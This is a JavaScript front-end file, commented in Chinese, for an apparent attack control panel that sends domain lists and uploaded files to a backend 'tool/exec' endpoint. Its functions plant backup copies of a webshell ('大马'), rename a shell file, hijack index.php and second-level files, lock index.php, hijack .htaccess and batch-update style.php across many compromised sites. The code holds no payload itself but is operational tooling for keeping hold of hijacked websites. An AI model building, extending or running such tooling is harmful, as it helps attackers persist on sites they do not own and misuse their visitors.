// 验证左侧域名必填
function checkDomains() {
    var domains = $("#domains").val();
    if (domains == '') {
        throw new Error('请填写左侧的域名');
    }
    return domains;
}

// 验证某一个ID的文件必传
function checkFile(ele) {
    if ($(ele)[0].files.length <= 0) {
        throw new Error('请上传文件');
    }
    return $(ele)[0].files[0];
}

// 公共的提交函数
function commit(formData) {
    $.ajax({
        type: 'post',
        url: host + 'tool/exec',
        data: formData,
        dataType: 'json',
        contentType: false,//设置为false,因为是构造的FormData对象,所以这里设置为false。
        processData: false,//设置为false,因为data值是FormData对象，不需要对数据做处理。
        beforeSend: function () {
            $("#domains_res").text("正在加载中...");
        },
        success(data) {
            console.log(data);
            var result = data.result;
            var code = data.code;
            if (code !== 200) {
                $("#domains_res").text("");
                alert(result);
                return false;
            } else {
                var resp = '';
                console.log('len=', result.length, result[0]);
                for (var i = 0; i < result.length; i++) {
                    resp += result[i] + '\n';
                }
                $("#domains_res").text("");
                $("#domains_res").prepend(resp);
            }
        }
    });
}

// 1、提交备马
function goBeima() {
    try {
        domains = checkDomains();
        beima_file = checkFile('#beian_file');
        var beima_level = $("#beima_level option:selected").val();
        var beima_name = $("#beima_name").val();
        if (beima_name == '') {
            throw new Error('请填写大马名字');
        }
        if (beima_level == '') {
            throw new Error('请选择最多可备的层级数');
        }
        var formFile = new FormData();
        formFile.append("iden", 'beima');
        formFile.append("beima_file", beima_file);
        formFile.append("beima_name", beima_name);
        formFile.append("domains", domains);
        formFile.append("beima_level", beima_level);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 2.重命名index.php的文件名
function goRename() {
    try {
        domains = checkDomains();
        var rename = $("#rename").val();
        if (rename == '') {
            throw new Error('请填写shell文件名');
        }
        var formFile = new FormData();
        formFile.append("iden", 'rename');
        formFile.append("rename", rename);
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 3.劫持index.php文件
function goIndex() {
    try {
        domains = checkDomains();
        index_file = checkFile('#index_file');
        var formFile = new FormData();
        formFile.append("iden", 'index');
        formFile.append("index_file", index_file);
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 4.二级文件劫持
function goSub() {
    try {
        domains = checkDomains();
        sub_file = checkFile('#sub_file');
        var formFile = new FormData();
        formFile.append("iden", 'sub');
        formFile.append("sub_file", sub_file);
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 5.生成和执行index锁定
function goLockIndex() {
    try {
        domains = checkDomains();
        lock_file = checkFile('#lock_file');
        var formFile = new FormData();
        formFile.append("iden", 'lock');
        formFile.append("lock_file", lock_file);
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 6..htaccess劫持
function goHtaccess() {
    try {
        domains = checkDomains();
        hta_file = checkFile('#hta_file');
        var formFile = new FormData();
        formFile.append("iden", 'htaccess');
        formFile.append("hta_file", hta_file);
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}

// 7.批量更新style.php
function goStyle() {
    try {
        domains = checkDomains();
        var formFile = new FormData();
        formFile.append("iden", 'style');
        formFile.append("domains", domains);
        commit(formFile);
    } catch (ex) {
        alert(ex.message);
        return false;
    }
}



